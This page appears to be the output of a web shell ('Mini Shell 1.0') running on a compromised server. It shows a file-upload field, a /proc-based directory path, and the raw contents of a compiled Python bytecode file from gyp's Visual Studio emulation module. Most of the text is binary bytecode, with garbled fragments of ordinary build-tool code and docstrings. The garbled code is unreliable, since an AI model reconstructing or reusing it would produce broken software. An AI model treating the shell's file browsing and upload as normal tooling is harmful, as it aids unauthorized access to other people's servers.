HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1780863/root/usr/lib/python3/dist-packages/gyp/__pycache__/
Upload File :
Current File : //proc/1780863/root/usr/lib/python3/dist-packages/gyp/__pycache__/msvs_emulation.cpython-311.pyc
�

K��b����N�dZddlZddlZddlZddlZddlmZddlmZddl	Z
ddlZ
ddlmZ	e
n
#e$reZ
YnwxYwejd��Zd�Zd�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�ZGd�de��Zd�ZGd�de��Zdad�Z d�Z!d�Z"d�Z#d�Z$d�Z%d�Z&d�Z'd�Z(dS)zg
This module helps emulate Visual Studio 2008 behavior on top of other
build systems, primarily ninja.
�N)�collections_abc)�
OrderedSet)�version_to_tuplez(\\*)"c�@�tjd��sQ|�d��dks|�d��dkrtj�|��}t�d�|��}|�dd��}d|zdzS)	z�Quote a command line argument so that it appears as one argument when
  processed via cmd.exe and parsed by CommandLineToArgvW (as is typical for
  Windows programs).�#GYP_MSVS_DISABLE_PATH_NORMALIZATION�/r�c�8�d|�d��zdzS)N�r	�\")�group)�mos �4/usr/lib/python3/dist-packages/gyp/msvs_emulation.py�<lambda>z!QuoteForRspFile.<locals>.<lambda>2s��A�������O�e�,C���%z%%�")	�os�getenv�find�count�path�normpath�windows_quoter_regex�sub�replace)�args r�QuoteForRspFiler s���
��8�	9�	9�"�
�x�x��}�}�q���C�I�I�c�N�N�Q�.�.��G���S�!�!�c�
	� � �!C�!C�S�I�I�#�	���C����#�

�s��S��rc�n�|sdS|d�d��rE|d�dd��\}}|dztj�|��z}n%tj�|d��}|dzd�d�|dd�D����zS)z6Process a list of arguments using QuoteCmdExeArgument.�rzcall � r	c3�4K�|]}t|��V��dS�N)r)�.0rs  r�	<genexpr>z$EncodeRspFileList.<locals>.<genexpr>Ps*����!K�!K�3�/�#�"6�"6�!K�!K�!K�!K�!K�!KrN)�
startswith�splitrrr�join)�args�call�programs   r�EncodeRspFileListr,Cs���
��b�b�	�!�W���� � �(���G�M�M�#�q�)�)�M�D�'��S�j�2�7�+�+�G�4�4�4�G�G��g���t�A�w�'�'�G�	�3�����!K�!K�$�q�r�r�(�!K�!K�!K�K�K�	K�Krc�v�|s|S|s|St|�|d��||dd���S)z�Given a list of dictionary keys |path| and a tree of dicts |root|, find
  value at path, or return |default| if any of the path doesn't exist.rr	N)�_GenericRetrieve�get)�root�defaultrs   rr.r.SsH��
���N�	
���K�	�$�(�(�4��7�+�+�W�d�1�2�2�h�	?�	?�?rc���|�|St|tj��r#t|t��s�fd�|D��S�|zS)zDAdd |prefix| to |element| or each subelement if element is iterable.Nc���g|]}�|z��S�r4)r$�e�prefixs  �r�
<listcomp>z_AddPrefix.<locals>.<listcomp>cs���(�(�(�1�F�Q�J�(�(�(r)�
isinstancer�Iterable�
basestring)�elementr6s `r�
_AddPrefixr<]sY����_��N���/�2�3�3��
�W�j�
)�
)��(�(�(�(��(�(�(�(��G��rc������o|�mt���s�j�t|tj��r2t|t
��st
d�fd�|D����}n�|��}|S)z�If |element| then remap it through |map|. If |element| is iterable then
  each item will be remapped. Any elements not found will be removed.Nc�&��g|]
}�|����Sr4r4)r$�elem�maps  �rr7z _DoRemapping.<locals>.<listcomp>ps!���<�<�<�D�c�c�$�i�i�<�<�<r)�callabler/r8rr9r:�filter)r;r@s `r�_DoRemappingrChs����	�_��,��C�=�=���G�c��7�O�4�5�5���w�
�+�+���t�<�<�<�<�G�<�<�<�=�=�g�g���G���g�	�.rc���|�_|�]t|tj��r,t|t��s|�|��dS|�|��dS|S)z�If |append| is None, simply return |element|. If |append| is not None,
  then add |element| to it, adding each item in |element| if it's a list or
  tuple.N)r8rr9r:�extend�append)rFr;s  r�_AppendOrReturnrGvsk����G�/��7�O�4�5�5���w�
�+�+���m�m�G�������m�m�G�������Nrc��ttd��rtjStj�d��}|s�gd�}t
j|tjtjd���}|�	��d�
��D]$}d|vr|�d��d	d
z}�%|t_|S)z�Try to find an installation location for the DirectX SDK. Check for the
  standard environment variable, and if that doesn't exist, try to find
  via the registry. May return None if not found in either location.�	dxsdk_dir�	DXSDK_DIR)zreg.exe�queryzHKLM\Software\Microsoft\DirectXz/sT)�stdout�stderr�universal_newlinesr�InstallPathz    ��\)�hasattr�_FindDirectXInstallationrIr�environr/�
subprocess�Popen�PIPE�communicate�
splitlinesr')rI�cmd�p�lines    rrSrS�s���

�
%�{�3�3�.�#�-�-��j�n�n�[�)�)�)�	�1�
H�
H�
H�C����Z�_�Z�_�,0�	2�	2�	2�A��
�
����"�-�-�/�/�1�1��	�$�	�	��J�J�v�&�&�q�)�D�0�	��(1��$�	�rc�D�i}|���rO|���|d<tj�|���d��dz|d<t	��}|r|nd|d<tj�dd��|d<|S)	z�Get a dict of variables mapping internal VS macro names to their gyp
  equivalents. Returns all variables that are independent of the target.z$(VSInstallDir)�VCrQz$(VCInstallDir)r z$(DXSDK_DIR)�WDK_DIRz
$(WDK_DIR))�Pathrrr(rSrTr/)�
vs_version�envrIs   r�GetGlobalVSMacroEnvrc�s���	�#��_�_���J�'�_�_�.�.�C����W�\�\�*�/�/�*;�*;�T�B�B�T�I�C���
'�(�(�)�%.�6�	�	�B�#�n���j�n�n�Y��3�3�#�l��	�*rc�����t|d�dg�����|dd�D]*}|�dg��}�t|��z��+�sdStt|�����t�fd��D����}t	d�|D����rdS|D]-}|�dg��}|r�fd�|D��}||d<�.|S)z�Finds msvs_system_include_dirs that are common to all targets, removes
  them from all targets, and returns an OrderedSet containing them.r�msvs_system_include_dirsr	Nc�0��g|]}t|�����Sr4)�ExpandMacros)r$�includerbs  �rr7z3ExtractSharedMSVSSystemIncludes.<locals>.<listcomp>�s9���)M�)M�)M�-4�*6�g�s�)C�)C�)M�)M�)Mrc��g|]}d|v��S)�$r4)r$rhs  rr7z3ExtractSharedMSVSSystemIncludes.<locals>.<listcomp>�s��	A�	A�	A�W�#��.�	A�	A�	Arc���g|]}|�v�|��	Sr4r4)r$�i�all_system_includess  �rr7z3ExtractSharedMSVSSystemIncludes.<locals>.<listcomp>�s$���J�J�J�A�Q�6I�-I�-I�a�-I�-I�-Ir)rr/rc�GetVSVersion�any)	�configs�generator_flags�config�system_includes�expanded_system_includes�includes�new_includesrmrbs	       @@r�ExtractSharedMSVSSystemIncludesrw�sM����#�
�a�j�n�n�/��4�4�6�6�������L�L�f��j�j�!;�R�@�@�O�-�
�?�0K�0K�K���	���4��L��9�9�:�:�#�'�)M�)M�)M�)M�8K�)M�)M�)M�N�N���	A�	A�(@�	A�	A�	A�B�B���4��8�8�f��z�z�4�b�9�9�H��8�J�J�J�J��J�J�J�l�+7�f�
'�(��	!�!rc�6�eZdZdZd�Zd�Zd0d�Zd0d�Zd�Zd�Z	Gd	�d
e
��Zd�Zd�Z
	d1d�Z	d1d�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd �Z d!�Z!d"�Z"d#�Z#d$�Z$d%�Z%d&�Z&d'�Z'd(�Z(d)�Z)d*�Z*d+�Z+d,�Z,d-�Z-d.�Z.d/�Z/dS)2�MsvsSettingsz�A class that understands the gyp 'msvs_...' values (especially the
  msvs_settings field). They largely correpond to the VS2008 IDE DOM. This
  class helps map those settings to command line options.c	��||_t|��|_dtfdtfdtfdtfdt
fdt
fdt
fdt
fg}|d	}|D]_\}}t
||i��|���D]4\}}|�||����t||��|<�5�`|�d
dg��|_
dd
g}	g}
|	D]/}|���D]}||vr|
|�d|d�d�gz
}
��0|
r"td�
|
�����dS)N�msvs_configuration_attributes�
msvs_settingsre�msvs_disabled_warnings�msvs_precompiled_header�msvs_precompiled_source�msvs_configuration_platform�msvs_target_platform�configurations�msvs_cygwin_dirs�.�
msvs_prebuild�msvs_postbuildz not supported (target �target_namez).�
)�specrnra�dict�list�str�setattr�itemsr/�getattrr��values�	Exceptionr()�selfr�rq�supported_fieldsrp�fieldr1�
confignamerr�unsupported_fields�unsupporteds           r�__init__zMsvsSettings.__init__�s����D�I�"�?�3�3�D�O�
)�$�/�	�$��	#�T�*�	!�4�(�	"�C�(�	"�C�(�	&��,�	��%�	
���#�$�G�*�H�H���w�
�d�E�2���� '�
�
���H�H�
�*�f�+1�:�:�e�W�W�Y�Y�+G�+G���e���Z�(�(�H�!�H�H�%7�#��?�?�D��	�����K�#�8�8���N�N�$�$�8�8�&��F�?�?�
� �5�5�$�}�"5�"5�"5�7�8�8�+��8��.��d�i�i��,�,�-�-�-�.�.rc��|j�dd��}|r|Stjj�|jdd��S)z�Returns the extension for the target, with no leading dot.

    Uses 'product_extension' if specified, otherwise uses MSVS defaults based on
    the target type.
    �product_extensionN�typer )r�r/�gyp�MSVSUtil�TARGET_TYPE_EXT)r��exts  r�GetExtensionzMsvsSettings.GetExtension�sI���)�-�-�+�T�
2�
2�C�
��
�j��<�'�+�+�D�I�f�,=�r�B�B�BrNc���|�|��dkrdnd}|j�dd��|j�d|jd��z}|r|dznd}d	|���z}||z}d
dd||d|jd||||tj�||��d
�}|�t|j	����|S)zUGet a dict of variables mapping internal VS macro names to their gyp
    equivalents.�x86�Win32�x64�product_prefixr �product_namer�rQr�z${root}z	${source}z$!INTERMEDIATE_DIR)z$(InputName)z$(InputPath)z	$(IntDir)z
$(OutDir)\z$(PlatformName)z$(ProjectDir)\z$(ProjectName)z
$(TargetDir)\z$(TargetExt)z$(TargetFileName)z
$(TargetName)z
$(TargetPath))
�GetArchr�r/r�rrr(�updatercra)	r��
base_to_buildrr�target_platformr��
target_dir�
target_ext�target_file_name�replacementss	         r�
GetVSMacroEnvzMsvsSettings.GetVSMacroEnv�s���"&���f�!5�!5��!>�!>�g�g�E�O��)�-�-� 0�"�5�5��	�
�
�n�d�i�
�&>�?�?�@�K�)6�>���%�%�B�J��t�(�(�*�*�*�J�"�Z�/��"�#�)�!�*���)�M�2�$�"�-�$�����j�2B�C�C�
�
�L����+�D�O�<�<�=�=�=��rc�P�|�||���}t||��S)z4Convert from VS macro names to something equivalent.�rr)r�rg)r��sr�rrrbs     r�ConvertVSMacroszMsvsSettings.ConvertVSMacross*��
�
�
�]�6�
�
:�
:�C���3���rc�2�d�|D��}d�|D��S)z2Strip -l from library if it's specified with that.c�P�g|]#}|�d��r
|dd�n|��$S)z-lrN�r&�r$�libs  rr7z0MsvsSettings.AdjustLibraries.<locals>.<listcomp> s5��J�J�J��s�~�~�d�+�+�4�C����G�G��J�J�Jrc��g|]W}|����d��s,|����d��s|dzn|��XS)z.libz.obj��lower�endswithr�s  rr7z0MsvsSettings.AdjustLibraries.<locals>.<listcomp>!sr��K�K�K�>A�!$�	�	��� 4� 4�V� <� <�
:��I�I�K�K�(�(��0�0�
:�C�&�L�L�69�K�K�Krr4)r��	libraries�libss   r�AdjustLibrarieszMsvsSettings.AdjustLibrariess<��J�J�	�J�J�J�D�K�K�EI�K�K�K�Krc��t|||��}t||��}t||��}t||��S)aRetrieve a value from |field| at |path| or return |default|. If
    |append| is specified, and the item is found, it will be appended to that
    object instead of returned. If |map| is specified, results will be
    remapped through |map| before being returned or appended.)r.rCr<rG)r�r�rr1r6rFr@�results        r�_GetAndMungezMsvsSettings._GetAndMunge$sC��
�e�W�d�
3�
3�F�
�&�#�
&�
&�F�
���
'�
'�F��6�6�*�*�*rc��eZdZdd�Zdd�ZdS)�MsvsSettings._GetWrapperNc�@�||_||_|g|_||_dSr#)�parentr��	base_pathrF)r�r�r�r�rFs     rr�z!MsvsSettings._GetWrapper.__init__/s$���d�k��d�j�!�{�d�n��d�k�k�krr c�h�|j�|j|j|gz|||j|���S)N)r1r6rFr@)r�r�r�r�rF)r��namer@r6r1s     r�__call__z!MsvsSettings._GetWrapper.__call__4s>��
�[�
%�
%�d�j�$�.�D�6�2I��&���#�&�G�G�Grr#)Nr N)�__name__�
__module__�__qualname__r�r�r4rr�_GetWrapperr�.sB����������
G�G�G�G�G�Grr�c��|j�|d��}|j�|d��}|s|}ddd��|d��S)zrGet architecture based on msvs_configuration_platform and
    msvs_target_platform. Returns either 'x86' or 'x64'.r r�r�)r�r�)r�r/r�)r�rr�configuration_platform�platforms    rr�zMsvsSettings.GetArch8s`��"�=�A�A�&�"�M�M���(�,�,�V�R�8�8�H��(�'�h��5�)�)�-�-�h��>�>�>rc��t|jj��dkr|S|�|��}|dkr|�d��s|dz
}|dkr1|�d��r|�dd��d}|S)z*Returns the target-specific configuration.i�r��_x64r��_r	r)�intra�
short_namer�r��rsplit)r�rr�archs   r�
_TargetConfigzMsvsSettings._TargetConfigBs����4�?�%�&�&�$�.�.�
�m��<�<����D��u�}�}�V�_�_�V�4�4�}����f��u�}�}�����0�0�}��}�}�S�!�$�$�Q�'�f��Mrr c�L�|�|j||||||��S)z_GetAndMunge for msvs_settings.)r�r|�r�rrrr1r6rFr@s       r�_SettingzMsvsSettings._SettingTs4�������6�"�D�'�6�6�3�H�H�Hrc�L�|�|j||||||��S)z/_GetAndMunge for msvs_configuration_attributes.)r�r{r�s       r�
_ConfigAttribzMsvsSettings._ConfigAttribZs2������*�6�2��g�v�v�s�,�,�,rc�����������|�j�z}|���d�g�������fd�|D��S)zyUpdates include_dirs to expand VS specific paths, and adds the system
    include dirs used for platform SDK and similar.)�VCCLCompilerTool�AdditionalIncludeDirectories�r1c�>��g|]}��|������S�r��r��r$r[rrr�s  ��rr7z2MsvsSettings.AdjustIncludeDirs.<locals>.<listcomp>h�,���E�E�E�q�D� � ��6� �2�2�E�E�Er�r�rerEr�)r��include_dirsrrrus` ` r�AdjustIncludeDirszMsvsSettings.AdjustIncludeDirsas�����
�
��
'�
'�F��d�;�F�C�C�H��O�O�D�M�M�:�F�B�"�P�P�Q�Q�Q�E�E�E�E�E�H�E�E�E�Erc�����������|�j�z}|���d�g�������fd�|D��S)z~Updates midl_include_dirs to expand VS specific paths, and adds the
    system include dirs used for platform SDK and similar.)�
VCMIDLToolr�r�c�>��g|]}��|������Sr�r�r�s  ��rr7z6MsvsSettings.AdjustMidlIncludeDirs.<locals>.<listcomp>qr�rr�)r��midl_include_dirsrrrus` ` r�AdjustMidlIncludeDirsz"MsvsSettings.AdjustMidlIncludeDirsjs�����
�
��
'�
'�F� �4�#@��#H�H�H��O�O�D�M�M�4�f�b�"�J�J�K�K�K�E�E�E�E�E�H�E�E�E�Erc�J�|�|��}g}|�dg|��dkr|�d��|�dg|��dkr|�d��|�|�d|g�����|S)z`Returns the set of defines that are injected to the defines list based
    on other VS settings.�CharacterSet�1)�_UNICODE�UNICODE�2�_MBCS)r��PreprocessorDefinitionsr�)r�r�rErFr�)r�rr�definess   r�GetComputedDefineszMsvsSettings.GetComputedDefinesss����
�
��
'�
'�F��G����>�*�F�3�3�s�:�:�
�n�n�,�-�-�-����>�*�F�3�3�s�:�:�
�n�n�W�����N�N�4�=�=�7���!�M�M�N�N�N��Nrc��|�|��}|�d|��}|r||�|����}|S)zvGet the pdb file name that should be used for compiler invocations, or
    None if there's no explicit name specified.)r��ProgramDataBaseFileName�r�r�r�)r�rr�expand_special�pdbnames    r�GetCompilerPdbNamezMsvsSettings.GetCompilerPdbName�s[���
�
��
'�
'�F��m�m�7��A�A�G��>���t�3�3�G�<�<�=�=�g��Nrc��|�|��}|�d|��}|r ||�||�����}|S)z]Gets the explicitly overriden map file name for a target or returns None
    if it's not set.)�VCLinkerTool�MapFileNamer�r�)r�rrr��map_files    r�GetMapFileNamezMsvsSettings.GetMapFileName�s[���
�
��
'�
'�F��}�}�<�f�E�E�H��O���� 4� 4�X�f� 4� M� M�N�N�h��Orc���|�|��}|jd}|dkrdnd}|�|df|��}|r ||�||�����}|S)zcGets the explicitly overridden output name for a target or returns None
    if it's not overridden.r��static_library�VCLibrarianToolr�
OutputFiler�)r�r�r�r�)r�rrr�r�r0�output_files      r�
GetOutputNamezMsvsSettings.GetOutputName�s����
�
��
'�
'�F��9�V��D� $�(8� 8� 8���n�D��-�-��|� 4�f�=�=�K��'�"�N�4�#7�#7�
�f�$8�$&�$&�'�'�k��rc���|�|��}|�d|��}|�d|��}|dkr$|r ||�||�����S|SdS)z�Gets the explicitly overridden pdb name for a target or returns
    default if it's not overridden, or if no pdb will be generated.)r�ProgramDatabaseFile)r�GenerateDebugInformation�truer�Nr�)r�rrr�r1r	�generate_debug_infos      r�
GetPDBNamezMsvsSettings.GetPDBName�s����
�
��
'�
'�F��-�-� G��P�P�K��-�-�4�f�>�>���f�$�$�	���~�d�2�2�;�v�2�N�N�O�O�O���
�Trc�d�|�|��}|�d|��}|dkS)z\If NoImportLibrary: true, ninja will not expect the output to include
    an import library.)�NoImportLibraryr�r�r�)r�rr�noimplibs   r�GetNoImportLibraryzMsvsSettings.GetNoImportLibrary�s6���
�
��
'�
'�F��}�}�1�6�:�:�H��v��rc��|�|��}g}|�d|��}|dkr|�d��|S)z:Returns the flags that need to be added to ml invocations.)�MASM�UseSafeExceptionHandlersrz/safeseh)r�r�rF)r�rr�asmflags�safesehs    r�GetAsmflagszMsvsSettings.GetAsmflags�sP��
�
�
��
'�
'�F��H��m�m�@�&�I�I�G��&����o�o�j�!�!�!��Orc	�$�|�|��}g}|�d�|j|D����|�||j|d|���}|dddddd	�d
d���|dd
���|dd���|dddi���|dddi���|dddd�d���|dddd�d���|dd d!d"�d
���|d#d$d%d&d'�d(d)���|d*dd+d����|d,dd-i���|d.d/���|d0dd1i���|d2dd3d4d5d	�d6���|d7d8d9d:d;�d<���|d=d>d?d@����|dAdBdCd@����|dDddEi���|dFdGdHd@����|dId!dJddK�dL���|dMdNdOdPdQd	�dR���|dSdTdUd"�dV���|dWddXi���|dYddd�dZ���|d[dd\i���|d]d���|d^d_d`dadbdcdd�de���|�df�|�dg|g�h��D����t
|jj��dikr|�	dj��dk�|D��}|S)lzCReturns the flags that need to be added to .c and .cc compilations.c��g|]}d|z��S)�/wdr4)r$�ws  rr7z*MsvsSettings.GetCflags.<locals>.<listcomp>�s��J�J�J��5�1�9�J�J�Jrr��rF�Optimization�dr�r��x)�0r�r��3z/O�r@r6r1�InlineFunctionExpansionz/Ob�r6�DisableSpecificWarningsr�
StringPoolingrz/GF�r@�EnableFiberSafeOptimizationsz/GT�OmitFramePointers�-r ��falserz/Oy�r@r6�EnableIntrinsicFunctionsz/Oi�FavorSizeOrSpeed�tr��r�r��FloatingPointModel�precise�strict�fast�r$r�r�z/fp:r$�CompileAsManagedz/clr�WholeProgramOptimizationz/GL�WarningLevelz/W�WarnAsError�/WX�CallingConvention�r�z�vz/G�DebugInformationFormat�7rl�I)r�r%�4z/Z�RuntimeTypeInfoz/GRz/GR-�rr0�EnableFunctionLevelLinkingz/Gyz/Gy-�MinimalRebuildz/Gm�BufferSecurityCheckz/GSz/GS-�BasicRuntimeChecks�u)r�r�r%z/RTC�RuntimeLibrary�T�Td�D�Ddz/M�ExceptionHandling�sc�az/EH�DefaultCharIsUnsignedz/J�TreatWChar_tAsBuiltInTypez/Zc:wchar_t�
EnablePREfastz/analyze�AdditionalOptions�EnableEnhancedInstructionSet�SSE�SSE2�AVX�IA32�AVX2)r�r�r%rG�5z/arch:c��g|]}d|z��S)�/FIr4)r$�fs  rr7z*MsvsSettings.GetCflags.<locals>.<listcomp>�s.��I�I�I��5�1�9�I�I�Ir)r��ForcedIncludeFilesr�)�rz/FSc�<�g|]}|�d���|��S)z/MPr��r$r#s  rr7z*MsvsSettings.GetCflags.<locals>.<listcomp>�s)��
;�
;�
;�A�q�|�|�E�':�':�
;�a�
;�
;�
;r)
r�rEr}r�r|r�rra�project_versionrF)r�rr�cflags�cls    r�	GetCflagszMsvsSettings.GetCflags�sv��
�
�
��
'�
'�F�
�F�
�M�M�J�J�d�&A�&�&I�J�J�J�K�K�K�	
�	�	�$�� 2�6� :�,�V�
�
=�
=�B��B�~��3�S�s�3�3�D�#�O�O�O�O��B� ��/�/�/�/��B� ��/�/�/�/��B��V�U�O�,�,�,�,��B�%�F�E�?�;�;�;�;��B��#�r� :� :�5�I�I�I�I��B�!��b�'A�'A�%�P�P�P�P��B��S�s�3�3�D�A�A�A�A��B���(��8�8��������B���V�<�<�=�=�=�=��B�!����7�7�7�7��B�~�d�#�#�#�#��B�}�6�5�/�*�*�*�*��B���C�c��4�4�T�C�C�C�C��B���C�c�*�*�4�9�9�9�9��B��u�v�>�>�?�?�?�?��B�#�%�&�)I�)I�J�J�J�J��B��f�e�_�-�-�-�-��B��5�6�"B�"B�C�C�C�C��B��s��3�!?�!?��O�O�O�O��B���D�s��6�6�t�E�E�E�E��B��d�� 4� 4�U�C�C�C�C��B��V�T�N�3�3�3�3��B�"��2�&�&�}�>�>�>�>��B��V�Z�0�1�1�1�1��B��2�&�&�&�&��B�%��f�5�v�F�K�K�������M�M�I�I�d�m�m�2�F�B�'4�'H�'H�I�I�I�J�J�J����7�8�8�G�C�C�
�m�m�E����
;�
;��
;�
;�
;�F��Mrc�P�|�|��}|j|r�tj�|j|��d}t
||��rC|j|}tj�|��d}d|zd|zd|zdzgSgS)zLGet the flags to be added to the cflags for precompiled header support.
    r	z/Yurcz/Fp${pchprefix}.z.pch)r�r~rr�splitextr�_LanguageMatchesForPchr')r�rr�	extension�
source_ext�pch�pchbases      r�_GetPchFlagszMsvsSettings._GetPchFlags�s����
�
��
'�
'�F��#�F�+�Q��7�#�#�D�$@��$H�I�I�!�L�j�	�
�I�	6�	6�Q��*�6�2���'�-�-��$�$�Q�'�����U�S�[�*<�w�*F��*O�P�P��Jrc�X�|�|��}|�|d��S)z;Returns the flags that need to be added to .c compilations.�.c�r�rt�r�rrs  r�
GetCflagsCzMsvsSettings.GetCflagsCs+��
�
�
��
'�
'�F����V�T�*�*�*rc�`�|�|��}dg|�|d��zS)z<Returns the flags that need to be added to .cc compilations.z/TP�.ccrwrxs  r�GetCflagsCCzMsvsSettings.GetCflagsCC	s2��
�
�
��
'�
'�F��7�T�&�&�v�u�5�5�5�5rc�������������|df�g���}���fd�|D��}d�|D��S)zPGet and normalize the list of paths in AdditionalLibraryDirectories
    setting.�AdditionalLibraryDirectoriesr�c
���g|]?}tj����|����������@Sr��rrrr�)r$r[rr�gyp_to_build_pathr�s  ���rr7zAMsvsSettings._GetAdditionalLibraryDirectories.<locals>.<listcomp>s^���#�#�#���� � �%�%�d�&:�&:�1�V�&:�&L�&L�M�M�O�O�#�#�#rc��g|]
}d|zdz��S)z
/LIBPATH:"rr4)r$r[s  rr7zAMsvsSettings._GetAdditionalLibraryDirectories.<locals>.<listcomp>s"��5�5�5�q�L�1��s�"�5�5�5rr)r�r0rrr��libpathss` `` r� _GetAdditionalLibraryDirectoriesz-MsvsSettings._GetAdditionalLibraryDirectoriess�������
�
��
'�
'�F��}�}�d�$B�C�#�R��1�1�H�#�#�#�#�#�#�!�#�#�#�H�6�5�H�5�5�5�5rc�(�|�|��}g}|�||j|d|���}|�|�d||����|dddi���|ddd	d
d�d�
��|d��|S)z8Returns the flags that need to be added to lib commands.rr �LinkTimeCodeGenerationr�/LTCGr+�
TargetMachine�X86�X64�ARM�r��17r%�	/MACHINE:r1rZ)r�r�r|rEr�)r�rrr��libflagsr�s     r�GetLibFlagszMsvsSettings.GetLibFlagss���
�
�
��
'�
'�F��H�
�
�
�4��!3�F�!;�+�H��>�>�C��O�O�D�9�9��6�#4�6�6�7�7�7��C� �v�w�&7�8�8�8�8��C��5��E�B�B�������C������Orc���|j}|ddvrfd�|�dg��D��}t|��dkr||d��St|��dkrtd���dS)	zDReturns the .def file from sources, if any.  Otherwise returns None.r�)�shared_library�loadable_module�
executablec�`�g|]+}|����d���)|��,S)z.defr�)r$r�s  rr7z+MsvsSettings.GetDefFile.<locals>.<listcomp>+sB��2�2�2���g�g�i�i�(�(��0�0�2�1�2�2�2r�sourcesr	rzMultiple .def filesN)r�r/�lenr�)r�r�r��	def_filess    r�
GetDefFilezMsvsSettings.GetDefFile's����9�D��F�|�J�J�J�2�2�d�h�h�y�"�5�5�2�2�2�i�	�Y���1�	�	� � ��1��.�.�.��y�>�>�A����-�.�.�.��4rc�h�|�|��}|r|�d|z��dSdS)z�.def files get implicitly converted to a ModuleDefinitionFile for the
    linker in the VS generator. Emulate that behaviour here.z	/DEF:"%s"N)r�rF)r��ldflagsr��def_files    r�_GetDefFileAsLdflagsz!MsvsSettings._GetDefFileAsLdflags3sE�����0�1�1�H��-�
�n�n�[�8�+�,�,�,�,�,�-�-rc��|�|��}|�d|��}|r ||�||�����}|S)z`Gets the explicitly overridden pgd name for a target or returns None
    if it's not overridden.)r�ProfileGuidedDatabaser�r�)r�rrr�r	s    r�
GetPGDNamezMsvsSettings.GetPGDName:sj���
�
��
'�
'�F��-�-�1�6�;�;�K��'�"�N�4�#7�#7�
�f�$8�$&�$&�'�'�k��rc���|�|��}g}|�||j|d|���}	|�||��|	dddi���|	ddd	d
d�d�
��|�|�d||����|	dd���|	ddddd����|�||��}
|
r|�d|
z��|�|||dz��}|r|�d|z��|�	||��}|r|�d|z��|�
||��}
|	dd|
rd|
zndi���|	dddi���|	d d���|�d!|d�"��}|rd#|z}|	d$d%|zd&|zd'�d(�
��|�d)|d�"��}|r9|�d*|d�"��}|rd#|z}|�d+|�|����|	d,ddd'�d-�
��|	d.ddd'�d/�
��|	d0d1���|	d2ddd'�d3�
��|	d4ddd'�d5�
��|	d6ddd'�d7�
��|	d8d9d:d'�d;�
��|	d<d=���|	d>d?d@d'�d;�
��|	dAddBdCdDdE�dF�
��|	dGdH���|	dIddJi���|	dKdL���|	dMddNi���|	dOddd'�dP�
��|	dQd���|�|��dRkrd}ndS}|	dTdddU�dV|�W��tdX�|D����s|�d5��tdY�|D����s|�d7��tdZ�|D����}|�||||o||��\}}}|�|��|||fS)[zUReturns the flags that need to be added to link commands, and the
    manifest files.rr r
rz/DEBUGr+r�r�r�r�r�r�r1�
DelayLoadDLLsz/DELAYLOAD:r(�TreatLinkerWarningAsErrorsr?r z:NOrI�r6r@z/OUT:z.pdbz/PDB:z/PGD:�GenerateMapFilez/MAP:z/MAP�
MapExportsz/MAPINFO:EXPORTSrZ)r�MinimumRequiredVersionr��,�	SubSystemz	CONSOLE%sz	WINDOWS%sr5z/SUBSYSTEM:)r�StackReserveSize)r�StackCommitSizez/STACK:�TerminalServerAwarez/TSAWARE�LinkIncrementalz/INCREMENTAL�BaseAddressz/BASE:�FixedBaseAddress�/FIXED�RandomizedBaseAddressz/DYNAMICBASE�DataExecutionPreventionz	/NXCOMPAT�OptimizeReferences�NOREF�REFz/OPT:�ForceSymbolReferencesz	/INCLUDE:�EnableCOMDATFolding�NOICF�ICFr�z
:PGINSTRUMENTz:PGOPTIMIZEz	:PGUPDATE)r�r�r%rGr��IgnoreDefaultLibraryNamesz/NODEFAULTLIB:�ResourceOnlyDLLz/NOENTRY�EntryPointSymbolz/ENTRY:�Profilez/PROFILE�LargeAddressAwarez/LARGEADDRESSAWARE�AdditionalDependenciesr�N�ImageHasSafeExceptionHandlersr/z/SAFESEHr&c3�*K�|]}d|vp|dkV��dS)�DYNAMICBASEr�Nr4�r$�flags  rr%z*MsvsSettings.GetLdflags.<locals>.<genexpr>�s1����M�M�T�}��$�8���(8�M�M�M�M�M�Mrc3�K�|]}d|vV��	dS)�NXCOMPATNr4r�s  rr%z*MsvsSettings.GetLdflags.<locals>.<genexpr>�s'����6�6�d�z�T�!�6�6�6�6�6�6rc3�@K�|]}|�d��V��dS)z/DEF:Nr�r�s  rr%z*MsvsSettings.GetLdflags.<locals>.<genexpr>�s.����E�E�T�����0�0�E�E�E�E�E�Er)r�r�r|r�rEr�r
rFrr�rr�r�ro�_GetLdManifestFlags)r�rrr�r��manifest_base_name�output_name�
is_executable�	build_dirr��ld�out�pdb�pgdr�minimum_required_version�stack_reserve_size�stack_commit_size�safeseh_default�
have_def_file�manifest_flags�intermediate_manifest�manifest_filess                      r�
GetLdflagszMsvsSettings.GetLdflagsEsB���
�
��
'�
'�F��G�	
�	�	�$�� 2�6� :�(��
�
:�
:�B����g�'8�9�9�9��B�!���'9�:�:�:�:��B��%�u�5�A�A�������N�N�4�8�8��� 1�3�3�4�4�4��B��}�-�-�-�-��B�#�E���'�'�)�)�)�)�
�
�
�V�^�
4�
4�C�
�$�
�n�n�W�s�]�#�#�#�
�/�/�&�.�+��2F�
G�
G�C�
�$�
�n�n�W�s�]�#�#�#�
�/�/�&�.�
1�
1�C�
�$�
�n�n�W�s�]�#�#�#��"�"�6�>�:�:�H��B��v�X�(�w��'9�'9�
�������B�|�&�"4�5�6�6�6�6��B��2�&�&�&�&�#�}�}�2�F�B� -� H� H���@�!$�'?�!?���B�{��7�7��7�7�9�9������
���,�f�b�'�B�B���N��-�-�
-�v�r�(�C�C��	�4��"3�3��
�n�n�n�&8�&8�:K�:K�L�M�M�M��B���B�"7�"7�
�K�K�K�K��B��E��3�3�N�K�K�K�K��B�}�X�&�&�&�&��B��U��4�4�X�F�F�F�F��B���b�!�!�.�:�:�:�:��B� ��b�!�!�+�7�7�7�7��B��w�U�!;�!;�G�L�L�L�L��B��{�3�3�3�3��B���e�"<�"<�W�M�M�M�M��B���?���
�
�������B�"�+;�<�<�<�<��B��v�z�2�3�3�3�3��B��)�,�,�,�,��B�y�v�z�*�+�+�+�+��B���b�!�!�*>�@�@�@�@��B���+�+�+�+��|�|�F���u�$�$��o�o��o��B�&��R�(�(���!�!�!�!��M�M�W�M�M�M�M�M�%�
�n�n�^�$�$�$��6�6�g�6�6�6�6�6�"�
